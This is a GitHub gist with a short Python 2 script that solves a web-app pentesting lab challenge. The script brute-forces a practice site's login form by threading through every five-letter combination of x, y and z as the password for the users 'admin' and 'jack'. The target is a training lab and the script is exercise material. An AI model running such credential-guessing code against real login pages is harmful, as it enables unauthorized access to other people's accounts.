Skip to content

Instantly share code, notes, and snippets.

@yesecurity
Last active February 9, 2023 08:42
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yesecurity/6543459 to your computer and use it in GitHub Desktop.
Save yesecurity/6543459 to your computer and use it in GitHub Desktop.
SecurityTube WAP_Challenge1
from threading import Thread
import itertools
import urllib
error = "Failed! Please try again!"
listp = []
a = list(itertools.product(['x','y','z'], repeat = 5))
for e in a:
a = ''.join(e)
listp.append(a)
def brute(user):
for p in listp:
base = "http://pentesteracademylab.appspot.com/lab/webapp/1?email="+user+"%40PentesterAcademy.com&password="+p
ct = urllib.urlopen(base)
resp = ct.read()
if error not in resp:
print "Email = PentesterAcademy@"+user+".com"
print "Password = " + p
exit(0)
def main():
users = ['admin', 'jack']
for us in users:
try:
user = us
Thread(target = brute , args = (user,)).start()
except:
pass
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment